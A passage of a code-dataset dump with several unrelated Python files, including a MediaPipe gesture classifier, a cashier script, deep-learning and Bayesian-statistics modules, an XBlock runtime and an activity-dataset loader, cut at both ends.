reached\n\t\t # so that our running average model gets calibrated\n #if num_frames < 30:\n # run_avg(gray, aWeight)\n #else:\n\t\t\t\n\t\t\t # segment the hand region\n #hand = segment(gray)\n\t\t\t\n\n\t\t\t # check whether hand region is segmented\n #if hand is not None:\n\t\t\t\t # if yes, unpack the thresholded image and\n\t\t\t\t # segmented region\n #(thresholded, segmented) = hand\n\n\t\t\t\t # draw the segmented region and display the frame\n #cv2.drawContours(clone, segmented, -1, (0, 0, 255))\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t # Center of the hand\n\t\t\t\t #c_x, c_y = detect_palm_center(segmented)\n #radius = 5\n\t\t\t\t #cv2.circle(thresholded, (c_x, c_y), radius, 0, 1)\n\t\t\t\t\n #cv2.imshow(\"Thresholded\", thresholded)\n\n\n # To improve performance, optionally mark the image as not writeable to\n # pass by reference.\n image.flags.writeable = False\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n results = holistic.process(image)\n\n # Draw landmark annotation on the image.\n image.flags.writeable = True\n image = cv2.cvtColor(image, cv2.COLOR_RGB2BGR)\n mp_drawing.draw_landmarks(\n image,\n results.left_hand_landmarks,\n mp_holistic.HAND_CONNECTIONS)\n #landmark_drawing_spec=mp_drawing_styles\n #.get_default_hand_landmarks_style()) \n landmarksLHand = []\n if results.left_hand_landmarks:\n for id, lm in enumerate(results.left_hand_landmarks.landmark):\n h, w, c = image.shape \n cx, cy = int(lm.x * w), int(lm.y * h) \n cv2.putText(image, str(id), (cx,cy), cv2.FONT_HERSHEY_PLAIN, 1, (255,0,0), 1)\n landmarksLHand.append((cx,cy)) \n mp_drawing.draw_landmarks(\n image,\n results.right_hand_landmarks,\n mp_holistic.HAND_CONNECTIONS)\n #landmark_drawing_spec=mp_drawing_styles\n #.get_default_hand_landmarks_style()) \n landmarksRHand = []\n if results.right_hand_landmarks:\n for id, lm in enumerate(results.right_hand_landmarks.landmark):\n h, w, c = image.shape \n cx, cy = int(lm.x * w), int(lm.y * h) \n cv2.putText(image, str(id), (cx,cy), cv2.FONT_HERSHEY_PLAIN, 1, (255,0,0), 1)\n landmarksRHand.append((cx,cy)) \n #mp_drawing.draw_landmarks(\n # image,\n # results.face_landmarks,\n # mp_holistic.FACEMESH_CONTOURS,\n # landmark_drawing_spec=None,\n # connection_drawing_spec=mp_drawing_styles\n # .get_default_face_mesh_contours_style())\n #mp_drawing.draw_landmarks(\n # image,\n # results.face_landmarks,\n # mp_holistic.FACEMESH_TESSELATION,\n # landmark_drawing_spec=None,\n # connection_drawing_spec=mp_drawing_styles\n # .get_default_face_mesh_tesselation_style()) \n mp_drawing.draw_landmarks(\n image,\n results.pose_landmarks,\n mp_holistic.POSE_CONNECTIONS,\n landmark_drawing_spec=mp_drawing_styles\n .get_default_pose_landmarks_style()) \n landmarksPose = []\n if results.pose_landmarks:\n for id, lm in enumerate(results.pose_landmarks.landmark):\n h, w, c = image.shape \n cx, cy = int(lm.x * w), int(lm.y * h) \n cv2.putText(image, str(id), (cx,cy), cv2.FONT_HERSHEY_PLAIN, 1, (255,0,0), 1)\n landmarksPose.append((cx,cy)) \n #mp_drawing.plot_landmarks(results.pose_world_landmarks, mp_holistic.POSE_CONNECTIONS) \n # Flip the image horizontally for a selfie-view display. \n\n reproduced_image = image - clone\n cv2.imshow('MediaPipe Holistic', cv2.flip(reproduced_image, 1))\n\n #image_segment = segment(image)\n\n #if image_segment is not None:\n #(thresholded, segmented) = image_segment\n\n\n # increment the number of frames\n num_frames += 1\n\n if cv2.waitKey(5) & 0xFF == 27:\n break\n\n if TRAIN:\n \n\t\t\t# Check if directory for current class exists\n if not os.path.isdir('images/class_'+class_name):\n os.makedirs('images/class_'+class_name)\n\n if num_frames_train < tot_frames:\n\t\t\t\t # Change rectangle color to show that we are saving training images\n text = 'Generating ' + str(class_name) + ' images'\n cv2.putText(clone, text, (60, 300), cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 0, 0), 2)\n\t\t\t\t\n\t\t\t\t # Save training images corresponding to the class\n cv2.imwrite('images/class_'+class_name+'/img_'+str(num_frames_train)+'.png', reproduced_image)\n\n\t\t\t\t # keep track of how many images we are saving\n num_frames_train += 1\n\n else:\n\n print('Class '+class_name+' images generated')\n TRAIN = False\n\n if SVM:\n\t\t\t # Convert image frame to numpy array\n reproduced_clone = reproduced_image.copy()\n reproduced_clone = imutils.resize(reproduced_clone, width=350)\n image_vector = np.array(reproduced_clone)\n # image_vector = image_vector[1:2:-1]\n \n\n\n\t\t\t # Use trained SVM to predict image class\n class_test = model.predict(image_vector.reshape(1, -1))\n\n if class_test == 0:\n\t\t\t\t # print('Class: A value: ('+str(c_x)+','+str(c_y)+')')\n counter = counter + 1\n print(counter)\n text = 'Class: A'\n print(text) \n else:\n\t\t\t\t # print('Class: B value: ('+str(c_x)+','+str(c_y)+')')\n text = 'Class: B'\n counter = counter - 50\n print(counter)\n print(text) \n\n cv2.putText(clone, text, (70, 45), cv2.FONT_HERSHEY_SIMPLEX, 1, (0, 0, 255), 2)\n\n\t\t\t # Here we send the OSC message corresponding\n\n # observe the keypress by the user\n keypress = cv2.waitKey(1) & 0xFF\n\n\t\t\n\t\t # if the user pressed \"q\", then stop looping\n if keypress == ord(\"q\"):\n break\n\n\t\t # Generate class A images\n if keypress == ord(\"a\"):\n print('Generating the images for class A:')\n TRAIN = True\n num_frames_train = 0\n tot_frames = 250\n class_name = 'a'\n\n\t\t # Generate class B images\n if keypress == ord(\"b\"):\n print('Generating the images for class B:')\n TRAIN = True\n num_frames_train = 0\n tot_frames = 250\n class_name = 'b'\n\n\t\t # Train and/or start SVM classification\n if keypress == ord('t'):\n SVM = True\n\n if not os.path.isfile('modelSVM.joblib'):\n print('I am training a SVM classification')\n model = train_svm()\n else:\n model = load('modelSVM.joblib')\n print('I am starting a SVM classification')\n\n\t\t # Start OSC communication and sound\n if keypress == ord('s'): \n\n client.send_message('/globe_control', [1, 2, 3]) \n #client.send_message('/globe_control', \"MESSAGGIO FELICIO\") \n print(\"sending FELICIO\") \n\n\t\t # Stop OSC communication and sound\n if keypress == ord('q'):\n print('I am stopping OSC communciation')\n\t\t\t # Send OSC message to stop the synth\n client.send_message(\"/globe_control\", ['stop'])\n\n cap.release()\n cv2.destroyAllWindows()","repo_name":"RobertoAlessandri/SaveTheWorld","sub_path":"Snippets/MediaPipe/MPHolystic.py","file_name":"MPHolystic.py","file_ext":"py","file_size_in_byte":9872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"38469792515","text":"print(\"GEROBAK FRIED CHICKEN\".center(64,\"-\"))\nprint(64*\"-\")\nprint(\"kode\".ljust(20,\" \"),\"Jenis potong\".center(20,\" \"),\"Harga\".rjust(20,\" \"))\nprint(\"D\".ljust(20,\" \"),\"Dada\".center(20,\" \"),\"Rp. 2500\".rjust(20,\" \"))\nprint(\"P\".ljust(20,\" \"),\"Paha\".center(20,\" \"),\"Rp. 2000\".rjust(20,\" \"))\nprint(\"S\".ljust(20,\" \"),\"Sayap\".center(20,\" \"),\"Rp. 1500\".rjust(20,\" \"))\nprint(64*\"-\")\n\n# Banyak Jenis\nbj = int(input(\"Banyak jenis : \"))\n# Kode Potong\nkp = []\n# Banyak Potong\nbp = []\n# Jenis potong\njp = []\n# Harga Satuan\nhs = []\n# Jumlah Harga\njh = []\n\n# Input\na = 0\nfor a in range(bj) :\n print(\"Jenis ke - \", a+1)\n kp.append(input(\"Masukan Kode Potong (D/P/S) : \"))\n bp.append(int(input(\"Banyak Potong : \")))\n if kp[a] == \"D\" or kp[a] == \"d\":\n jp.append(\"Dada\")\n hs.append(2500)\n jh.append(bp[a] * 2500)\n elif kp[a] == \"P\" or kp[a] == \"p\":\n jp.append(\"Paha\")\n hs.append(2000)\n jh.append(bp[a] * 2000)\n elif kp[a] == \"S\" or kp[a] == \"s\":\n jp.append(\"Sayap\")\n hs.append(1500)\n jh.append(bp[a] * 1500)\n else :\n jp.append(\"Error Not Found\")\n hs.append(0)\n jh.append(bp[a] * 0)\n# Output\nprint(\"=\"*18,\"GEROBAK FRIED CHICKEN\",\"=\"*18)\nprint(\"NO\".ljust(3,\" \"),\"Jenis-Potong\".center(5,\" \"),\"Harga-satuan\".center(15,\" \"),\"Banyak-beli\".ljust(10,\" \"),\"Jumlah-harga\".rjust(13,\" \"))\nprint(\"-\"*59)\nb = 0\njb = 0\nfor b in range(bj):\n jb += jh[b]\n print(b+1,\" \"*3,jp[b],\" \"*11,hs[b],\" \"*8,bp[b],\" \"*10,\"Rp \",jh[b])\n b += 1\nprint(\"-\"*59)\nprint(\" \"*33,\"Jumlah bayar = Rp \",jb)\npajak = jb * (10/100)\ntotal = jb + pajak\nprint(\" \"*33,\"Pajak 10 % = Rp \",pajak)\nprint(\" \"*33,\"Total Bayar = Rp \",total)\n\n\n\n\n","repo_name":"theparadogs/Python","sub_path":"kasir.py","file_name":"kasir.py","file_ext":"py","file_size_in_byte":1683,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"9282404815","text":"\nfrom pyglet.input import get_joysticks\n\nimport config\nfrom game_scene import GameScene\n\njoysticks = get_joysticks()\n\ngame_name = \"Robot Warz\"\nimport patch_director\npatch_director.exec()\n\nfrom cocos.director import director\n\nwindow = director.init(\n width=config.screen_size[0],\n height=config.screen_size[1],\n caption=game_name,\n resizable=True\n)\n\ndirector._usable_width = config.screen_size[0] * 2\ndirector._usable_height = config.screen_size[1] * 2\n\n\ndirector.show_FPS = True\nprint(\"Window config: {0}\".format(window.config))\n\ndirector.run(GameScene())\n","repo_name":"maccuinn/robot-warz","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"43027682960","text":"import torch.nn as nn\nimport torch.nn.functional as F\nfrom mmcv.cnn import ConvModule\n\nfrom ..builder import BACKBONES\nfrom .base_backbone import BaseBackbone\n\n\nclass Basic3DBlock(nn.Module):\n \"\"\"A basic 3D convolutional block.\n\n Args:\n in_channels (int): Input channels of this block.\n out_channels (int): Output channels of this block.\n kernel_size (int): Kernel size of the convolution operation\n conv_cfg (dict): Dictionary to construct and config conv layer.\n Default: dict(type='Conv3d')\n norm_cfg (dict): Dictionary to construct and config norm layer.\n Default: dict(type='BN3d')\n \"\"\"\n\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size,\n conv_cfg=dict(type='Conv3d'),\n norm_cfg=dict(type='BN3d')):\n super(Basic3DBlock, self).__init__()\n self.block = ConvModule(\n in_channels,\n out_channels,\n kernel_size,\n stride=1,\n padding=((kernel_size - 1) // 2),\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n bias=True)\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n return self.block(x)\n\n\nclass Res3DBlock(nn.Module):\n \"\"\"A residual 3D convolutional block.\n\n Args:\n in_channels (int): Input channels of this block.\n out_channels (int): Output channels of this block.\n kernel_size (int): Kernel size of the convolution operation\n Default: 3\n conv_cfg (dict): Dictionary to construct and config conv layer.\n Default: dict(type='Conv3d')\n norm_cfg (dict): Dictionary to construct and config norm layer.\n Default: dict(type='BN3d')\n \"\"\"\n\n def __init__(self,\n in_channels,\n out_channels,\n kernel_size=3,\n conv_cfg=dict(type='Conv3d'),\n norm_cfg=dict(type='BN3d')):\n super(Res3DBlock, self).__init__()\n self.res_branch = nn.Sequential(\n ConvModule(\n in_channels,\n out_channels,\n kernel_size,\n stride=1,\n padding=((kernel_size - 1) // 2),\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n bias=True),\n ConvModule(\n out_channels,\n out_channels,\n kernel_size,\n stride=1,\n padding=((kernel_size - 1) // 2),\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=None,\n bias=True))\n\n if in_channels == out_channels:\n self.skip_con = nn.Sequential()\n else:\n self.skip_con = ConvModule(\n in_channels,\n out_channels,\n 1,\n stride=1,\n padding=0,\n conv_cfg=conv_cfg,\n norm_cfg=norm_cfg,\n act_cfg=None,\n bias=True)\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n res = self.res_branch(x)\n skip = self.skip_con(x)\n return F.relu(res + skip, True)\n\n\nclass Pool3DBlock(nn.Module):\n \"\"\"A 3D max-pool block.\n\n Args:\n pool_size (int): Pool size of the 3D max-pool layer\n \"\"\"\n\n def __init__(self, pool_size):\n super(Pool3DBlock, self).__init__()\n self.pool_size = pool_size\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n return F.max_pool3d(\n x, kernel_size=self.pool_size, stride=self.pool_size)\n\n\nclass Upsample3DBlock(nn.Module):\n \"\"\"A 3D upsample block.\n\n Args:\n in_channels (int): Input channels of this block.\n out_channels (int): Output channels of this block.\n kernel_size (int): Kernel size of the transposed convolution operation.\n Default: 2\n stride (int): Kernel size of the transposed convolution operation.\n Default: 2\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size=2, stride=2):\n super(Upsample3DBlock, self).__init__()\n assert kernel_size == 2\n assert stride == 2\n self.block = nn.Sequential(\n nn.ConvTranspose3d(\n in_channels,\n out_channels,\n kernel_size=kernel_size,\n stride=stride,\n padding=0,\n output_padding=0), nn.BatchNorm3d(out_channels), nn.ReLU(True))\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n return self.block(x)\n\n\nclass EncoderDecorder(nn.Module):\n \"\"\"An encoder-decoder block.\n\n Args:\n in_channels (int): Input channels of this block\n \"\"\"\n\n def __init__(self, in_channels=32):\n super(EncoderDecorder, self).__init__()\n\n self.encoder_pool1 = Pool3DBlock(2)\n self.encoder_res1 = Res3DBlock(in_channels, in_channels * 2)\n self.encoder_pool2 = Pool3DBlock(2)\n self.encoder_res2 = Res3DBlock(in_channels * 2, in_channels * 4)\n\n self.mid_res = Res3DBlock(in_channels * 4, in_channels * 4)\n\n self.decoder_res2 = Res3DBlock(in_channels * 4, in_channels * 4)\n self.decoder_upsample2 = Upsample3DBlock(in_channels * 4,\n in_channels * 2, 2, 2)\n self.decoder_res1 = Res3DBlock(in_channels * 2, in_channels * 2)\n self.decoder_upsample1 = Upsample3DBlock(in_channels * 2, in_channels,\n 2, 2)\n\n self.skip_res1 = Res3DBlock(in_channels, in_channels)\n self.skip_res2 = Res3DBlock(in_channels * 2, in_channels * 2)\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n skip_x1 = self.skip_res1(x)\n x = self.encoder_pool1(x)\n x = self.encoder_res1(x)\n\n skip_x2 = self.skip_res2(x)\n x = self.encoder_pool2(x)\n x = self.encoder_res2(x)\n\n x = self.mid_res(x)\n\n x = self.decoder_res2(x)\n x = self.decoder_upsample2(x)\n x = x + skip_x2\n\n x = self.decoder_res1(x)\n x = self.decoder_upsample1(x)\n x = x + skip_x1\n\n return x\n\n\n@BACKBONES.register_module()\nclass V2VNet(BaseBackbone):\n \"\"\"V2VNet.\n\n Please refer to the `paper `\n for details.\n\n Args:\n input_channels (int):\n Number of channels of the input feature volume.\n output_channels (int):\n Number of channels of the output volume.\n mid_channels (int):\n Input and output channels of the encoder-decoder block.\n \"\"\"\n\n def __init__(self, input_channels, output_channels, mid_channels=32):\n super(V2VNet, self).__init__()\n\n self.front_layers = nn.Sequential(\n Basic3DBlock(input_channels, mid_channels // 2, 7),\n Res3DBlock(mid_channels // 2, mid_channels),\n )\n\n self.encoder_decoder = EncoderDecorder(in_channels=mid_channels)\n\n self.output_layer = nn.Conv3d(\n mid_channels, output_channels, kernel_size=1, stride=1, padding=0)\n\n self._initialize_weights()\n\n def forward(self, x):\n \"\"\"Forward function.\"\"\"\n x = self.front_layers(x)\n x = self.encoder_decoder(x)\n x = self.output_layer(x)\n\n return x\n\n def _initialize_weights(self):\n for m in self.modules():\n if isinstance(m, nn.Conv3d):\n nn.init.normal_(m.weight, 0, 0.001)\n nn.init.constant_(m.bias, 0)\n elif isinstance(m, nn.ConvTranspose3d):\n nn.init.normal_(m.weight, 0, 0.001)\n nn.init.constant_(m.bias, 0)\n","repo_name":"ViTAE-Transformer/ViTPose","sub_path":"mmpose/models/backbones/v2v_net.py","file_name":"v2v_net.py","file_ext":"py","file_size_in_byte":7724,"program_lang":"python","lang":"en","doc_type":"code","stars":978,"dataset":"github-code","pt":"2"} +{"seq_id":"22677386420","text":"import numpy as np\n\nfrom threeML.io.uncertainty_formatter import uncertainty_formatter\n\n\nclass RandomVariates(np.ndarray):\n \"\"\"\n A subclass of np.array which is meant to contain samples for one parameter. This class contains methods to easily\n compute properties for the parameter (errors and so on)\n \"\"\"\n\n def __new__(cls, input_array, value=None):\n # Input array is an already formed ndarray instance\n # We first cast to be our class type\n\n obj = np.asarray(input_array).view(cls)\n\n # Add the value\n obj._orig_value = value\n\n # Finally, we must return the newly created object:\n return obj\n\n def __array_finalize__(self, obj):\n\n # see InfoArray.__array_finalize__ for comments\n if obj is None:\n return\n\n # Add the value\n self._orig_value = getattr(obj, \"_orig_value\", None)\n\n def __array_wrap__(self, out_arr, context=None):\n\n # This gets called at the end of any operation, where out_arr is the result of the operation\n # We need to update _orig_value so that the final results will have it\n\n out_arr._orig_value = out_arr.median\n\n # then just call the parent\n return super(RandomVariates, self).__array_wrap__(out_arr, context)\n\n # def __array_ufunc__(self, ufunc, method, *inputs, **kwargs):\n\n # # TODO: must make this return single numbers is needed\n\n # args = []\n # in_no = []\n # for i, input_ in enumerate(inputs):\n # if isinstance(input_, RandomVariates):\n # in_no.append(i)\n # args.append(input_.view(np.ndarray))\n # else:\n # args.append(input_)\n\n # outputs = kwargs.pop('out', None)\n # out_no = []\n\n # if outputs:\n # out_args = []\n # for j, output in enumerate(outputs):\n # if isinstance(output, RandomVariates):\n # out_no.append(j)\n # out_args.append(output.view(np.ndarray))\n # else:\n # out_args.append(output)\n # kwargs['out'] = tuple(out_args)\n # else:\n # outputs = (None,) * ufunc.nout\n\n # results = super(RandomVariates, self).__array_ufunc__(ufunc, method,\n # *args, **kwargs)\n # if results is NotImplemented:\n # return NotImplemented\n\n # if method == 'at':\n # return\n\n # if ufunc.nout == 1:\n # results = (results,)\n\n # results = tuple((np.asarray(result).view(RandomVariates)\n # if output is None else output)\n # for result, output in zip(results, outputs))\n\n # return results[0] if len(results) == 1 else results\n\n @property\n def median(self):\n \"\"\"Returns median value\"\"\"\n\n # the np.asarray casting avoids the calls to __new__ and __array_finalize_ of this class\n\n return float(np.median(np.asarray(self)))\n\n # @property\n # def mean(self):\n # \"\"\"Returns average value\"\"\"\n\n # return float(np.asarray(self).mean())\n\n @property\n def std(self):\n \"\"\"Returns sample std value\"\"\"\n\n return float(np.asarray(self).std())\n\n @property\n def var(self):\n \"\"\"Returns sample variance value\"\"\"\n\n return float(np.asarray(self).var())\n\n @property\n def average(self):\n \"\"\"Returns average value\"\"\"\n\n return float(np.asarray(self).mean())\n\n @property\n def value(self):\n\n return float(self._orig_value)\n\n @property\n def samples(self):\n\n return np.asarray(self)\n\n def highest_posterior_density_interval(self, cl=0.68):\n \"\"\"\n Returns the Highest Posterior Density interval (HPD) for the parameter, for the given credibility level.\n\n NOTE: the returned interval is the HPD only if the posterior is not multimodal. If it is multimodal, you should\n probably report the full posterior, not only an interval.\n\n :param cl: credibility level (0 < cl < 1)\n :return: (low_bound, hi_bound)\n \"\"\"\n\n assert 0 < cl < 1, \"The credibility level should be 0 < cl < 1\"\n\n # NOTE: we cannot sort the array, because we would destroy the covariance with other physical quantities,\n # so we get a copy instead. This copy will live only for the duration of this method (but of course will be\n # collected only whenevery the garbage collector decides to).\n\n ordered = np.sort(np.array(self))\n\n n = ordered.size\n\n # This is the probability that the interval should span\n interval_integral = cl\n\n # If all values have the same probability, then the hpd is degenerate, but its length is from 0 to\n # the value corresponding to the (interval_integral * n)-th sample.\n # This is the index of the rightermost element which can be part of the interval\n\n index_of_rightmost_possibility = int(np.floor(interval_integral * n))\n\n # Compute the index of the last element that is eligible to be the left bound of the interval\n\n index_of_leftmost_possibility = n - index_of_rightmost_possibility\n\n # Now compute the width of all intervals that might be the one we are looking for\n\n interval_width = (\n ordered[index_of_rightmost_possibility:]\n - ordered[:index_of_leftmost_possibility]\n )\n\n # This might happen if there are too few values\n if len(interval_width) == 0:\n raise RuntimeError(\"Too few elements for interval calculation\")\n\n # Find the index of the shortest interval\n\n idx_of_minimum = np.argmin(interval_width)\n\n # Find the extremes of the shortest interval\n\n hpd_left_bound = ordered[idx_of_minimum]\n hpd_right_bound = ordered[idx_of_minimum + index_of_rightmost_possibility]\n\n return hpd_left_bound, hpd_right_bound\n\n def equal_tail_interval(self, cl=0.68):\n \"\"\"\n Returns the equal tail interval, i.e., an interval centered on the median of the distribution with\n the same probability on the right and on the left of the mean.\n\n If the distribution of the parameter is Gaussian and cl=0.68, this is equivalent to the 1 sigma confidence\n interval.\n\n :param cl: confidence level (0 < cl < 1)\n :return: (low_bound, hi_bound)\n \"\"\"\n\n assert 0 < cl < 1, \"Confidence level must be 0 < cl < 1\"\n\n half_cl = cl / 2.0 * 100.0\n\n low_bound, hi_bound = np.percentile(\n np.asarray(self), [50.0 - half_cl, 50.0 + half_cl]\n )\n\n return float(low_bound), float(hi_bound)\n\n # np.ndarray already has a mean() and a std() methods\n\n def __repr__(self):\n\n # Get representation for the HPD\n\n min_bound, max_bound = self.highest_posterior_density_interval(0.68)\n\n hpd_string = uncertainty_formatter(self.median, min_bound, max_bound)\n\n # Get representation for the equal-tail interval\n\n min_bound, max_bound = self.equal_tail_interval(0.68)\n\n eqt_string = uncertainty_formatter(self.median, min_bound, max_bound)\n\n # Put them together\n\n representation = \"equal-tail: %s, hpd: %s\" % (eqt_string, hpd_string)\n\n return representation\n\n def __str__(self):\n\n return self.__repr__()\n","repo_name":"threeML/threeML","sub_path":"threeML/random_variates.py","file_name":"random_variates.py","file_ext":"py","file_size_in_byte":7369,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"2"} +{"seq_id":"38263036502","text":"from xblock.fields import Scope\nfrom xblock.runtime import (DictKeyValueStore, KvsFieldData, MemoryIdManager,\n Runtime, ScopeIds)\n\n\nclass TransientRuntime(Runtime):\n \"\"\"\n An XBlock runtime designed to have no persistence and no ability to render views/handlers.\n \"\"\"\n def __init__(self):\n id_manager = MemoryIdManager()\n field_data = KvsFieldData(DictKeyValueStore())\n super().__init__(\n id_reader=id_manager,\n id_generator=id_manager,\n field_data=field_data,\n )\n\n def create_block_from_node(self, node):\n \"\"\"\n Parse an XML node representing an XBlock (and children), and return the XBlock.\n \"\"\"\n block_type = node.tag\n def_id = self.id_generator.create_definition(block_type)\n usage_id = self.id_generator.create_usage(def_id)\n keys = ScopeIds(None, block_type, def_id, usage_id)\n block_class = self.mixologist.mix(self.load_block_type(block_type))\n block = block_class.parse_xml(node, self, keys, self.id_generator)\n block.save()\n return block\n\n def handler_url(self, *args, **kwargs):\n raise NotImplementedError(\"TransientRuntime does not support handler_url.\")\n\n def local_resource_url(self, *args, **kwargs):\n raise NotImplementedError(\"TransientRuntime does not support local_resource_url.\")\n\n def publish(self, *args, **kwargs):\n raise NotImplementedError(\"TransientRuntime does not support publish.\")\n\n def resource_url(self, *args, **kwargs):\n raise NotImplementedError(\"TransientRuntime does not support resource_url.\")\n\n def render_template(self, *args, **kwargs):\n raise NotImplementedError(\"TransientRuntime cannot render templates.\")\n\n\ndef studio_update_from_node(block, node):\n \"\"\"\n Given an XBlock that is using the edX Studio runtime, replace all of block's fields and\n children with the fields and children defined by the XML node 'node'.\n \"\"\"\n\n user_id = block.runtime.user_id\n temp_runtime = TransientRuntime()\n source_block = temp_runtime.create_block_from_node(node)\n\n def update_from_temp_block(real_block, temp_block):\n \"\"\"\n Recursively copy all fields and children from temp_block to real_block.\n \"\"\"\n # Fields:\n for field_name, field in temp_block.fields.items():\n if field.scope in (Scope.content, Scope.settings) and field.is_set_on(temp_block):\n setattr(real_block, field_name, getattr(temp_block, field_name))\n # Children:\n if real_block.has_children:\n real_block.children = []\n for child_id in temp_block.children:\n child = temp_block.runtime.get_block(child_id)\n new_child = real_block.runtime.modulestore.create_item(\n user_id, real_block.location.course_key, child.scope_ids.block_type\n )\n update_from_temp_block(new_child, child)\n real_block.children.append(new_child.location)\n real_block.save()\n real_block.runtime.modulestore.update_item(real_block, user_id)\n\n with block.runtime.modulestore.bulk_operations(block.location.course_key):\n for child_id in block.children:\n block.runtime.modulestore.delete_item(child_id, user_id)\n update_from_temp_block(block, source_block)\n","repo_name":"open-craft/problem-builder","sub_path":"problem_builder/v1/studio_xml_utils.py","file_name":"studio_xml_utils.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"2"} +{"seq_id":"28850535604","text":"import string\nrawDataKeys={\n \"user\":(\"firstname\", \"lastname\", \"othername\",\"username\", \"email\", \"password\", \"phonenumber\", \"passporturl\", \"is_admin\"),\n \"offices\":(\"name\",\"type\"),\n \"parties\":(\"name\",\"hqAddress\",\"logoUrl\"),\n \"candidate\":(\"user_id\",\"office_id\",\"party_id\")\n}\n\n\n\n \ndef validation(data,tableName):\n if all(y in data for y in rawDataKeys[tableName]):\n return True\n else:\n return False\ndef validateValues(data):\n for x in data:\n if not data[x]:\n return False\n return True\ndef nowhitespaces(data):\n for x in data:\n if isinstance(data[x],str):\n if data[x].isspace():\n return True\n else:\n return False\n\n\ndef validate(data,tableName):\n if validation(data,tableName) is False:\n return {\n \"isvalid\":False,\n \"message\":\"Please make sure to enter the correct response\"+ str(rawDataKeys[tableName])\n }\n \n if validateValues(data) is False:\n return{\n \"isvalid\":False,\n \"message\":\"Please make sure to enter the correct values\"+str(rawDataKeys[tableName])\n }\n if nowhitespaces(data) is True:\n return {\n \"isvalid\": False,\n \"message\":\"Please make sure the values do not have whitespaces\"\n }\n return{\n\n \"isvalid\":True\n }\n\n \n\n ","repo_name":"kamaathedj/political_arena","sub_path":"api/v2/utilities/validations/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":1369,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"19187299541","text":"import torch\nfrom torch.utils import data\nimport torchvision.models as models\nimport torchvision.transforms as transforms\n\nimport os\nimport random\nfrom PIL import Image\nimport numpy as np\nimport pickle\n\nfrom collections import Counter\n\n\nFRAMES_NUM={1: 302, 2: 347, 3: 194, 4: 257, 5: 536, 6: 401, 7: 968, 8: 221, 9: 356, 10: 302, \n 11: 1813, 12: 1084, 13: 851, 14: 723, 15: 464, 16: 1021, 17: 905, 18: 600, 19: 203, 20: 342, \n 21: 650, 22: 361, 23: 311, 24: 321, 25: 617, 26: 734, 27: 1804, 28: 470, 29: 635, 30: 356, \n 31: 690, 32: 194, 33: 193, 34: 395, 35: 707, 36: 914, 37: 1049, 38: 653, 39: 518, 40: 401, \n 41: 707, 42: 420, 43: 410, 44: 356}\n\n \nFRAMES_SIZE={1: (480, 720), 2: (480, 720), 3: (480, 720), 4: (480, 720), 5: (480, 720), 6: (480, 720), 7: (480, 720), 8: (480, 720), 9: (480, 720), 10: (480, 720), \n 11: (480, 720), 12: (480, 720), 13: (480, 720), 14: (480, 720), 15: (450, 800), 16: (480, 720), 17: (480, 720), 18: (480, 720), 19: (480, 720), 20: (450, 800), \n 21: (450, 800), 22: (450, 800), 23: (450, 800), 24: (450, 800), 25: (480, 720), 26: (480, 720), 27: (480, 720), 28: (480, 720), 29: (480, 720), 30: (480, 720), \n 31: (480, 720), 32: (480, 720), 33: (480, 720), 34: (480, 720), 35: (480, 720), 36: (480, 720), 37: (480, 720), 38: (480, 720), 39: (480, 720), 40: (480, 720), \n 41: (480, 720), 42: (480, 720), 43: (480, 720), 44: (480, 720)}\n\n\nACTIONS=['NA','Crossing','Waiting','Queueing','Walking','Talking']\nACTIVITIES=['Crossing','Waiting','Queueing','Walking','Talking']\n\n\nACTIONS_ID={a:i for i,a in enumerate(ACTIONS)}\nACTIVITIES_ID={a:i for i,a in enumerate(ACTIVITIES)}\nAction6to5 = {0:0, 1:1, 2:2, 3:3, 4:1, 5:4}\n# 'NA' 'Moving' 'Waiting' 'Queueing' 'Talking'\nActivity5to4 = {0:0, 1:1, 2:2, 3:0, 4:3}\n# 'Moving' 'Waiting' 'Queueing' 'Talking'\n\n\ndef collective_read_annotations(path,sid):\n annotations={}\n path=path + '/seq%02d/annotations.txt' % sid\n \n with open(path,mode='r') as f:\n frame_id=None\n group_activity=None\n actions=[]\n bboxes=[]\n for l in f.readlines():\n values=l[:-1].split('\t')\n \n if int(values[0])!=frame_id:\n if frame_id!=None and frame_id%10==1 and frame_id+9<=FRAMES_NUM[sid]:\n counter = Counter(actions).most_common(2)\n group_activity= counter[0][0]-1 if counter[0][0]!=0 else counter[1][0]-1\n annotations[frame_id]={ \n 'frame_id':frame_id,\n 'group_activity':group_activity,\n 'actions':actions,\n 'bboxes':bboxes\n }\n \n frame_id=int(values[0])\n group_activity=None\n actions=[]\n bboxes=[]\n \n actions.append(int(values[5])-1)\n x,y,w,h = (int(values[i]) for i in range(1,5))\n H,W=FRAMES_SIZE[sid]\n \n bboxes.append( (y/H,x/W,(y+h)/H,(x+w)/W) )\n \n if frame_id!=None and frame_id%10==1 and frame_id+9<=FRAMES_NUM[sid]: # 最后一个10帧\n counter = Counter(actions).most_common(2)\n group_activity= counter[0][0]-1 if counter[0][0]!=0 else counter[1][0]-1\n annotations[frame_id]={\n 'frame_id':frame_id,\n 'group_activity':group_activity,\n 'actions':actions,\n 'bboxes':bboxes\n }\n\n return annotations\n \n \n \ndef collective_read_dataset(path,seqs):\n data = 